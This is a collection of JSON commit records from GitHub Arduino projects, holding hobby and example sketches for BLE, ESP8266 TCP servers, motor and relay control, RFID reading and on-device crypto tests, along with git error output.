}\n }\n\n \/\/ central disconnected\n Serial.print(F(\"Disconnected from central: \"));\n Serial.println(central.address());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HID\/HID_keypad\/HID_keypad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df7b7c490b3448e9b867329a6178454c566049df","subject":"Updated comment for UdpNTPClient","message":"Updated comment for UdpNTPClient\n","repos":"PaoloP74\/WiFiESP,PaoloP74\/WiFiESP","old_file":"examples\/UdpNTPClient\/UdpNTPClient.ino","new_file":"examples\/UdpNTPClient\/UdpNTPClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PaoloP74\/WiFiESP.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4fc9244fc8240568526c8e321104741be30d698a","subject":"Client connection CLI example added","message":"Client connection CLI example added\n","repos":"ekstrand\/ESP8266wifi","old_file":"examples\/ESP8266_tcp_cli\/ESP8266_tcp_cli.ino","new_file":"examples\/ESP8266_tcp_cli\/ESP8266_tcp_cli.ino","new_contents":"#include <SoftwareSerial.h>\n#include <ESP8266wifi.h>\n\n\/* TCP server\/client example, that manages client connections, checks for messages\n * when client is connected and parses commands. Connect to the ESP8266 IP using\n * a TCP client such as telnet, eg: telnet 192.168.0.X 2121\n * \n * ESP8266 should be AT firmware based on 1.5 SDK or later\n *\n * 2016 - J.Whittington - engineer.john-whittington.co.uk\n *\/\n\n#define sw_serial_rx_pin 4 \/\/ Connect this pin to TX on the esp8266\n#define sw_serial_tx_pin 6 \/\/ Connect this pin to RX on the esp8266\n#define esp8266_reset_pin 5 \/\/ Connect this pin to CH_PD on the esp8266, not reset. (let reset be unconnected)\n\n#define SERVER_PORT \"2121\"\n#define SSID \"YourSSID\"\n#define PASSWORD \"YourPassword\"\n\nSoftwareSerial swSerial(sw_serial_rx_pin, sw_serial_tx_pin);\n\n\/\/ the last parameter sets the local echo option for the ESP8266 module..\nESP8266wifi wifi(Serial, Serial, esp8266_reset_pin, swSerial);\n\nvoid processCommand(WifiMessage msg);\n\nuint8_t wifi_started = false;\n\n\/\/ TCP Commands\nconst char RST[] PROGMEM = \"RST\";\nconst char IDN[] PROGMEM = \"*IDN?\";\n\nvoid setup() {\n\n \/\/ start debug serial\n swSerial.begin(9600);\n \/\/ start HW serial for ESP8266 (change baud depending on firmware)\n Serial.begin(115200);\n while (!Serial)\n ;\n Serial.println(\"Starting wifi\");\n\n swSerial.println(\"Starting wifi\");\n wifi.setTransportToTCP();\/\/ this is also default\n wifi.endSendWithNewline(false); \/\/ Will end all transmissions with a newline and carrage return ie println.. default is true\n\n wifi_started = wifi.begin();\n if (wifi_started) {\n wifi.connectToAP(SSID, PASSWORD);\n wifi.startLocalServer(SERVER_PORT);\n } else {\n \/\/ ESP8266 isn't working..\n }\n}\n\nvoid loop() {\n\n static WifiConnection *connections;\n\n \/\/ check connections if the ESP8266 is there\n if (wifi_started)\n wifi.checkConnections(&connections);\n\n \/\/ check for messages if there is a connection\n for (int i = 0; i < MAX_CONNECTIONS; i++) {\n if (connections[i].connected) {\n \/\/ See if there is a message\n WifiMessage msg = wifi.getIncomingMessage();\n \/\/ Check message is there\n if (msg.hasData) {\n \/\/ process the command\n processCommand(msg);\n }\n }\n }\n}\n\nvoid processCommand(WifiMessage msg) {\n \/\/ return buffer\n char espBuf[MSG_BUFFER_MAX];\n \/\/ scanf holders\n int set;\n char str[16];\n\n \/\/ Get command and setting\n sscanf(msg.message,\"%15s %d\",str,&set);\n \/* swSerial.print(str);*\/\n \/* swSerial.println(set);*\/\n\n if ( !strcmp_P(str,IDN) ) {\n wifi.send(msg.channel,\"ESP8266wifi Example\");\n }\n \/\/ Reset system by temp enable watchdog\n else if ( !strcmp_P(str,RST) ) {\n wifi.send(msg.channel,\"SYSTEM RESET...\");\n \/\/ soft reset by reseting PC\n asm volatile (\" jmp 0\");\n }\n \/\/ Unknown command\n else {\n wifi.send(msg.channel,\"ERR\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266_tcp_cli\/ESP8266_tcp_cli.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a48af2be8ebc755ca3185126cfe9fd653b930d4a","subject":"skp 10","message":"skp 10\n","repos":"toto-castaldi\/my-arduino-sketchbook-folder,toto-castaldi\/my-arduino-sketchbook-folder","old_file":"starter_kit_project_10\/starter_kit_project_10.ino","new_file":"starter_kit_project_10\/starter_kit_project_10.ino","new_contents":"const int controlPin1 = 2;\nconst int controlPin2 = 3;\nconst int enablePin = 9;\nconst int directionSwitchPin = 4;\nconst int onOffSwitchStateSwitchPin = 5;\nconst int potPin = A0;\n\nint onOffSwitchState = 0;\nint previousOnOffSwitchState = 0;\nint directionSwitchState = 0;\nint previousDirectionSwitchState = 0;\nint motorEnabled = 0;\nint motorSpeed = 0;\nint motorDirection = 1;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(directionSwitchPin, INPUT);\n pinMode(onOffSwitchStateSwitchPin, INPUT);\n pinMode(controlPin1, OUTPUT);\n pinMode(controlPin2, OUTPUT);\n pinMode(enablePin, OUTPUT);\n digitalWrite(enablePin, LOW);\n}\n\nvoid loop() {\n onOffSwitchState = digitalRead(onOffSwitchStateSwitchPin);\n delay(1);\n directionSwitchState = digitalRead(directionSwitchPin);\n motorSpeed = analogRead(potPin)\/4;\n if (onOffSwitchState != previousOnOffSwitchState && onOffSwitchState == HIGH) {\n motorEnabled = !motorEnabled;\n }\n if (directionSwitchState != previousDirectionSwitchState && directionSwitchState == HIGH) {\n motorDirection = !motorDirection;\n }\n \n Serial.print(\"onOffSwitchState:\");\n Serial.print(onOffSwitchState);\n Serial.print(\", directionSwitchState:\");\n Serial.print(directionSwitchState);\n Serial.print(\", motorEnabled:\");\n Serial.print(motorEnabled);\n Serial.print(\", motorDirection:\");\n Serial.print(motorDirection);\n Serial.print(\", motorSpeed:\");\n Serial.println(motorSpeed);\n \n \n if (motorDirection == 1) {\n digitalWrite(controlPin1, HIGH);\n digitalWrite(controlPin2, LOW); \n } else {\n digitalWrite(controlPin1, LOW);\n digitalWrite(controlPin2, HIGH);\n }\n \n if (motorEnabled == 1) {\n analogWrite(enablePin, motorSpeed);\n } else {\n analogWrite(enablePin, 0);\n }\n \n previousDirectionSwitchState = directionSwitchState;\n previousOnOffSwitchState = onOffSwitchState;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'starter_kit_project_10\/starter_kit_project_10.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2fb4390f36d206bb34840b8bbe16196cc3970e21","subject":"Added Arduino source code","message":"Added Arduino source code\n","repos":"RamV13\/LightSwitch,RamV13\/LightSwitch","old_file":"LightSwitch.ino","new_file":"LightSwitch.ino","new_contents":"#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"<SSID>\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"<PASSWORD>\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define IDLE_TIMEOUT_MS 3000 \/\/ Amount of time to wait (in milliseconds) with no data \n \/\/ received before closing the connection. If you know the server\n \/\/ you're accessing is quick to respond, you can reduce this value.\n\n\/\/ Port for incoming TCP connections\n#define LISTEN_PORT 8888\n\n\/\/ Server\nAdafruit_CC3000_Server mServer(LISTEN_PORT);\n\n\/\/ Timing\nconst int loopTime = 125;\nint elapsedTime = 0;\n\n\/\/ Client JSON String\nString result;\n\n\/\/ Realy IN2 connected to digital pin 0\nint relayPin2 = 6;\nint BUTTON = 7;\n\n\/\/ Button State\nint buttonState = 0;\n\n\/\/ Binary Light Switch State\nint lightSwitch = 0;\n\nvoid setup(void)\n{\n \n Serial.begin(115200);\n \n pinMode(relayPin2, OUTPUT);\n pinMode(BUTTON, INPUT);\n digitalWrite(relayPin2, HIGH);\n\n \/\/ Initialise the module\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n\n \/\/ Wait for DHCP to complete\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n }\n\n mServer.begin();\n \n}\n\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n\nvoid toggleLightSwitch() {\n\n if (lightSwitch == 1)\n lightSwitch = 0;\n else\n lightSwitch = 1;\n \n if (lightSwitch == 1) {\n Serial.println(\"SET LOW\");\n digitalWrite(relayPin2, LOW);\n } else {\n Serial.println(\"SET HIGH\");\n digitalWrite(relayPin2, HIGH);\n }\n \n}\n\nvoid loop(void)\n{\n\n \/\/displayConnectionDetails();\n \n Adafruit_CC3000_ClientRef client = mServer.available();\n\n Serial.println(lightSwitch);\n \n buttonState = digitalRead(BUTTON);\n \n if (buttonState == LOW)\n toggleLightSwitch();\n \n if (client) {\n \n while(client.available()) { \n \n char c = client.read();\n result = result+c;\n \n }\n \n if (result.indexOf(\"switch\") > 0)\n toggleLightSwitch();\n \n client.println(\"Success\");\n delay(5);\n client.close();\n \n result = \"\";\n \n }\n \n delay(loopTime);\n\n}\n\n\/\/ SET STATIC IP ADDRESS\n\n\/*uint32_t ipAddress = cc3000.IP2U32(10, 0, 0, 13);\nuint32_t netMask = cc3000.IP2U32(255, 255, 255, 0);\nuint32_t defaultGateway = cc3000.IP2U32(192, 168, 1, 1);\nuint32_t dns = cc3000.IP2U32(8, 8, 4, 4);\nif (!cc3000.setStaticIPAddress(ipAddress, netMask, defaultGateway, dns)) {\n Serial.println(F(\"Failed to set static IP!\"));\n while(1);\n}*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LightSwitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57ff417db4f2d14d214ded5b2f0863910c8d0724","subject":"Added Photon Code","message":"Added Photon Code","repos":"TheMichaelHu\/PickyPusheen,TheMichaelHu\/PickyPusheen,TheMichaelHu\/PickyPusheen,TheMichaelHu\/PickyPusheen","old_file":"Photon_Code.ino","new_file":"Photon_Code.ino","new_contents":"#include \"application.h\"\n#include \"HttpClient\/HttpClient.h\"\n\n\/**\n* Declaring the variables.\n*\/\nunsigned int nextTime = 0; \/\/ Next time to contact the server\nHttpClient http;\n\n\/\/ Headers currently need to be set at init, useful for API keys etc.\nhttp_header_t headers[] = {\n \/\/ { \"Content-Type\", \"application\/json\" },\n \/\/ { \"Accept\" , \"application\/json\" },\n { \"Accept\" , \"*\/*\"},\n { NULL, NULL } \/\/ NOTE: Always terminate headers will NULL\n};\n\nhttp_request_t request;\nhttp_response_t response;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(A4, INPUT_PULLUP);\n}\n\nvoid loop() {\n static bool prev,curr=1;\n prev = curr;\n curr = digitalRead(A4);\n if (prev && !curr) {\n delay(5);\n request.hostname = \"picky-pusheen.herokuapp.com\";\n request.port = 80;\n request.path = \"\/buttons\/ijhgkoqo\";\n http.get(request, response, headers);\n }\n\n\n \/\/ The library also supports sending a body with your request:\n \/\/request.body = \"{\\\"key\\\":\\\"value\\\"}\";\n\n \/\/ Get request\n \n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc758fe53d1cfe3ae363496b9f3d16fdacda94b8","subject":"RFID SPI test with the settings from the wiki.","message":"RFID SPI test with the settings from the wiki.\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/PowerBoard-Basisboard-v1.1\/RFID-SPI\/RFID-SPI.ino","new_file":"test\/PoE-test\/PowerBoard-Basisboard-v1.1\/RFID-SPI\/RFID-SPI.ino","new_contents":"\n#include <SPI.h>\n#include <MFRC522.h>\n\n\/\/ https:\/\/wiki.makerspaceleiden.nl\/mediawiki\/index.php\/Powernode_1.1\n\/\/ SPI based RFID reader\n\n#define RFID_MOSI_PIN (13)\n#define RFID_MISO_PIN (12)\n#define RFID_CLK_PIN (14)\n#define RFID_SELECT_PIN (15)\n#define RFID_RESET_PIN (32)\n\n\/\/ Comment out the enxt line to work in `polling' mode.\n\/\/\n#define RFID_IRQ_PIN (33)\n\nMFRC522 reader = MFRC522(RFID_SELECT_PIN, RFID_RESET_PIN);\n\nvolatile bool bNewInt = false;\nvoid readCard() {\n bNewInt = true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\\n\\n\\n\");\n Serial.println(\"Booted: \" __FILE__ \" \" __DATE__ \" \" __TIME__ );\n\n SPI.begin(RFID_CLK_PIN, RFID_MISO_PIN, RFID_MOSI_PIN);\n\n Serial.println(\"Init reader\");\n\n reader.PCD_Init(); \/\/ Init MFRC522\n reader.PCD_DumpVersionToSerial(); \/\/ Show details of PCD - MFRC522 Card Reader details\n\n#ifdef RFID_IRQ_PIN\n pinMode(RFID_IRQ_PIN, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(RFID_IRQ_PIN), readCard, FALLING);\n\n reader.PCD_WriteRegister(reader.ComIEnReg, 0xA0 \/* RQ irq *\/);\n bNewInt = false; \/\/interrupt flag\n#endif\n\n Serial.println(\"Scanning\");\n}\n\n\nvoid loop() {\n static unsigned long last = 0;\n if (millis() - last > 2000) {\n last = millis();\n Serial.println(\"scanning.\");\n#ifdef RFID_IRQ_PIN\n \/\/ kick off a background scan.\n reader.PCD_WriteRegister(reader.FIFODataReg, reader.PICC_CMD_REQA);\n reader.PCD_WriteRegister(reader.CommandReg, reader.PCD_Transceive);\n reader.PCD_WriteRegister(reader.BitFramingReg, 0x87);\n#endif\n }\n \n#ifdef RFID_IRQ_PIN\n if (!bNewInt)\n return;\n#else\n \/\/ Look for new cards\n if ( ! reader.PICC_IsNewCardPresent()) {\n return;\n }\n#endif\n\n \/\/ Select one of the cards\n if ( ! reader.PICC_ReadCardSerial()) {\n return;\n }\n\n \/\/ Dump debug info about the card; PICC_HaltA() is automatically called\n reader.PICC_DumpToSerial(&(reader.uid));\n#ifdef RFID_IRQ_PIN\n reader.PCD_WriteRegister(reader.ComIrqReg, 0x7F);\n reader.PICC_HaltA();\n bNewInt = false;\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/PowerBoard-Basisboard-v1.1\/RFID-SPI\/RFID-SPI.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8b38fab991a21e21861302add31dfbbbe97b000c","subject":"more complete crypto testing","message":"more complete crypto testing\n","repos":"ukscone\/telehash-c,ukscone\/telehash-c,telehash\/telehash-c,telehash\/telehash-c,ukscone\/telehash-c,telehash\/telehash-c,ukscone\/telehash-c,telehash\/telehash-c","old_file":"avr\/avr.ino","new_file":"avr\/avr.ino","new_contents":"\nextern \"C\" {\n#include \".\/ecc.h\"\n#include \".\/aes.h\"\n#include \".\/sha256.h\"\n#include \".\/sha1.h\"\n#include \".\/hmac.h\"\n#include \"js0n.h\"\n#include \"switch.h\"\n}\n\n#define sp Serial.print\n#define speol Serial.println\n\n\/* scratch\ntypedef struct sockaddr_in {};\n#define time_t long\n#define time(x) millis()\n\n*\/\n\nint RNG(uint8_t *p_dest, unsigned p_size)\n{\n while(p_size--)\n {\n *p_dest = (uint8_t)random();\n p_dest++;\n }\n return 1;\n}\n\nvoid vli_print(uint8_t *p_vli, unsigned int p_size)\n{\n while(p_size)\n {\n char hex[8];\n sprintf(hex,\"%02X \", (unsigned)p_vli[p_size - 1]);\n sp(hex);\n --p_size;\n }\n}\n\n\nvoid setup() {\n}\n\nint ecc_test(int loops)\n{\n int i;\n \n uint8_t l_private1[ECC_BYTES];\n uint8_t l_private2[ECC_BYTES];\n \n uint8_t l_public1[ECC_BYTES *2];\n uint8_t l_public2[ECC_BYTES *2];\n \n uint8_t l_secret1[ECC_BYTES];\n uint8_t l_secret2[ECC_BYTES];\n\n ecc_set_rng(&RNG);\n \n speol(\"Testing random private key pairs\");\n\n for(i=0; i<loops; ++i)\n {\n long a = millis();\n ecc_make_key(l_public1, l_private1);\n sp(millis()-a);\n speol(\" gen\");\n a = millis();\n ecc_make_key(l_public2, l_private2);\n sp(millis()-a);\n speol(\" gen\");\n\n\n a = millis();\n if(!ecdh_shared_secret(l_public2, l_private1, l_secret1))\n {\n sp(\"shared_secret() failed (1)\\n\");\n return 1;\n }\n sp(millis()-a);\n speol(\" dh\");\n\n a = millis();\n if(!ecdh_shared_secret(l_public1, l_private2, l_secret2))\n {\n sp(\"shared_secret() failed (2)\\n\");\n return 1;\n }\n sp(millis()-a);\n speol(\" dh\");\n \n if(memcmp(l_secret1, l_secret2, sizeof(l_secret1)) != 0)\n {\n sp(\"Shared secrets are not identical!\\n\");\n sp(\"Shared secret 1 = \");\n vli_print(l_secret1, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Shared secret 2 = \");\n vli_print(l_secret2, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Private key 1 = \");\n vli_print(l_private1, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Private key 2 = \");\n vli_print(l_private2, ECC_BYTES);\n sp(\"\\n\");\n }\n }\n sp(\"\\n\");\n \n return 0;\n}\n\nint aes_test()\n{\n aes_context ctx;\n unsigned char key[16], data[6],iv[16],block[16];\n size_t off = 0;\n memcpy(key,\"1234567812345678\",16);\n memset(iv,0,16);\n memcpy(data,\"foobar\",6);\n aes_setkey_enc(&ctx,(unsigned char*)key,16);\n aes_crypt_ctr(&ctx,6,&off,iv,block,data,data);\n sp(\"aes \");\n vli_print(data,6);\n speol();\n}\n\nint sha256_test()\n{\n unsigned char hash[SHA256_HASH_BYTES];\n sha256((uint8_t (*)[32])hash,\"foo\",3);\n sp(\"sha256 \");\n vli_print(hash,SHA256_HASH_BYTES);\n speol();\n}\n\nint sha1_test()\n{\n unsigned char hash[SHA1_HASH_BYTES];\n sha1(hash,\"foo\",3);\n sp(\"sha1 \");\n vli_print(hash,SHA1_HASH_BYTES);\n speol();\n}\n\nint hmac_test()\n{\n unsigned char hmac[HMAC_SHA1_BYTES];\n hmac_sha1(hmac,\"foo\",3,\"bar\",3);\n sp(\"hmac \");\n vli_print(hmac,HMAC_SHA1_BYTES);\n speol();\n}\n\nvoid loop() {\n long start = millis();\n aes_test();\n sha1_test();\n hmac_test();\n sha256_test();\n sp(millis() - start);\n ecc_test(5);\n speol();\n}\n\n","old_contents":"\nextern \"C\" {\n#include \".\/ecc.h\"\n#include \".\/aes.h\"\n#include \".\/sha256.h\"\n#include \".\/sha1.h\"\n#include \".\/hmac.h\"\n#include \"js0n.h\"\n#include \"switch.h\"\n}\n\n#define sp Serial.print\n#define speol Serial.println\n\n\/* scratch\ntypedef struct sockaddr_in {};\n#define time_t long\n#define time(x) millis()\n\n*\/\n\nint RNG(uint8_t *p_dest, unsigned p_size)\n{\n while(p_size--)\n {\n *p_dest = (uint8_t)random();\n p_dest++;\n }\n return 1;\n}\n\nvoid vli_print(uint8_t *p_vli, unsigned int p_size)\n{\n while(p_size)\n {\n char hex[8];\n sprintf(hex,\"%02X \", (unsigned)p_vli[p_size - 1]);\n sp(hex);\n --p_size;\n }\n}\n\n\nvoid setup() {\n}\n\nint etest(int loops)\n{\n int i;\n \n uint8_t l_private1[ECC_BYTES];\n uint8_t l_private2[ECC_BYTES];\n \n uint8_t l_public1[ECC_BYTES *2];\n uint8_t l_public2[ECC_BYTES *2];\n \n uint8_t l_secret1[ECC_BYTES];\n uint8_t l_secret2[ECC_BYTES];\n\n ecc_set_rng(&RNG);\n \n speol(\"Testing random private key pairs\");\n\n for(i=0; i<loops; ++i)\n {\n long a = millis();\n ecc_make_key(l_public1, l_private1);\n sp(millis()-a);\n speol(\" gen\");\n a = millis();\n ecc_make_key(l_public2, l_private2);\n sp(millis()-a);\n speol(\" gen\");\n\n\n a = millis();\n if(!ecdh_shared_secret(l_public2, l_private1, l_secret1))\n {\n sp(\"shared_secret() failed (1)\\n\");\n return 1;\n }\n sp(millis()-a);\n speol(\" dh\");\n\n a = millis();\n if(!ecdh_shared_secret(l_public1, l_private2, l_secret2))\n {\n sp(\"shared_secret() failed (2)\\n\");\n return 1;\n }\n sp(millis()-a);\n speol(\" dh\");\n \n if(memcmp(l_secret1, l_secret2, sizeof(l_secret1)) != 0)\n {\n sp(\"Shared secrets are not identical!\\n\");\n sp(\"Shared secret 1 = \");\n vli_print(l_secret1, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Shared secret 2 = \");\n vli_print(l_secret2, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Private key 1 = \");\n vli_print(l_private1, ECC_BYTES);\n sp(\"\\n\");\n sp(\"Private key 2 = \");\n vli_print(l_private2, ECC_BYTES);\n sp(\"\\n\");\n }\n }\n sp(\"\\n\");\n \n return 0;\n}\n\nint atest()\n{\n aes_context ctx;\n char key[16];\n aes_setkey_enc(&ctx,(unsigned char*)key,16);\n}\n\nint s2test()\n{\n sha256_ctx_t ctx;\n sha256_hash_t h;\n sha256_init(&ctx);\n}\n\nint s1test()\n{\n hmac_sha1_ctx_t ctx;\n hmac_sha1_init(&ctx,\"foo\",3);\n}\n\nvoid loop() {\n long start = millis();\n atest();\n s1test();\n s2test();\n sp(millis() - start);\n etest(5);\n speol();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"aa22ecf8feb4c71d37b7fc29caa5957834ab1a57","subject":"Add files via upload","message":"Add files via upload\n\npocitanie ciar","repos":"Galeje\/Cing","old_file":"_6.kapitola.ino","new_file":"_6.kapitola.ino","new_contents":"#include \"Attiny85_IO_basic.h\"\nAttiny attiny;\nint x;\nvoid setup() {\n\n\n}\nvoid loop() \n {\n if (x <= 10)\n {\n attiny.motor(\"AB\", 1,\"digital\");\n if (attiny.LightSensor(2, \"digital\")==1)\n { \n x++;\n delay(200);\n }\n }\n else\n {\n attiny.motor(\"B\", 0,\"digital\");\n attiny.motor(\"A\", 1,\"digital\");\n delay (800);\n attiny.motor(\"AB\", 0,\"digital\");\n \n \n }\n }\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_6.kapitola.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4241758b30706a8e7232e976bade1de6e38796e1","subject":"Added initial anklet code","message":"Added initial anklet code\n","repos":"captainsafia\/tether,captainsafia\/tether","old_file":"anklet_code.ino","new_file":"anklet_code.ino","new_contents":"#include <Time.h>\n\nconst int xPin = 2;\nconst int yPin = 1;\nconst int zPin = 0;\n\ndouble x, y, z; \n\nint minVal = ;\nint maxVal = ;\n\nint startTime = seconds();\n\nint accumulatedXValues[20];\nint accumulatedYValues[20];\nint accumulatedZValues[20];\nint count = 0;\n\nvoid setup() {\n\tSerial.begin(9600);\n}\n\nvoid loop() {\n\tint xRead = \tanalogRead(xPin);\n\tint yRead = \tanalogRead(yPin);\n\tint zRead = \tanalogRead(zPin);\n\n\taccumulatedXValues[count] = xRead;\n\taccumulatedYValues[count] = yRead;\n\taccumulatedZValues[count] = zRead;\n}\n\nint calculateDelta(int previousValues, int timePeriod) {\n\t\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'anklet_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bf2c3d04e28dbdb056ac8f4f16f6a6b9628d8559","subject":"Added advanced web server demo","message":"Added advanced web server demo\n","repos":"Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,NullMedia\/Arduino,hallard\/Arduino,Cloudino\/Arduino,wemos\/Arduino,Lan-Hekary\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,gguuss\/Arduino,KaloNK\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,martinayotte\/ESP8266-Arduino,quertenmont\/Arduino,hallard\/Arduino,me-no-dev\/Arduino,KaloNK\/Arduino,NextDevBoard\/Arduino,Adam5Wu\/Arduino,Cloudino\/Arduino,gguuss\/Arduino,jes\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,quertenmont\/Arduino,esp8266\/Arduino,toastedcode\/esp8266-Arduino,martinayotte\/ESP8266-Arduino,chrisfraser\/Arduino,Links2004\/Arduino,Juppit\/Arduino,wemos\/Arduino,Juppit\/Arduino,me-no-dev\/Arduino,hallard\/Arduino,edog1973\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,esp8266\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,jes\/Arduino,jes\/Arduino,KaloNK\/Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,Links2004\/Arduino,sticilface\/Arduino,Lan-Hekary\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,quertenmont\/Arduino,edog1973\/Arduino,hallard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,chrisfraser\/Arduino,NullMedia\/Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,chrisfraser\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,chrisfraser\/Arduino,jes\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Juppit\/Arduino,Cloudino\/Arduino,CanTireInnovations\/Arduino,chrisfraser\/Arduino,NextDevBoard\/Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,me-no-dev\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Adam5Wu\/Arduino,Cloudino\/Arduino,sticilface\/Arduino,CanTireInnovations\/Arduino,sticilface\/Arduino,edog1973\/Arduino,KaloNK\/Arduino,me-no-dev\/Arduino,edog1973\/Arduino,NullMedia\/Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,quertenmont\/Arduino,lrmoreno007\/Arduino,Links2004\/Arduino,KaloNK\/Arduino,Adam5Wu\/Arduino,gguuss\/Arduino,gguuss\/Arduino,hallard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,jes\/Arduino,CanTireInnovations\/Arduino,gguuss\/Arduino,lrmoreno007\/Arduino,NextDevBoard\/Arduino,edog1973\/Arduino,sticilface\/Arduino,quertenmont\/Arduino,Links2004\/Arduino,CanTireInnovations\/Arduino,Adam5Wu\/Arduino,CanTireInnovations\/Arduino,Juppit\/Arduino,Juppit\/Arduino,lrmoreno007\/Arduino,Cloudino\/Arduino,toastedcode\/esp8266-Arduino,me-no-dev\/Arduino,CanTireInnovations\/Arduino","old_file":"libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino","new_file":"libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino","new_contents":"\/*\n * Copyright (c) 2015, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 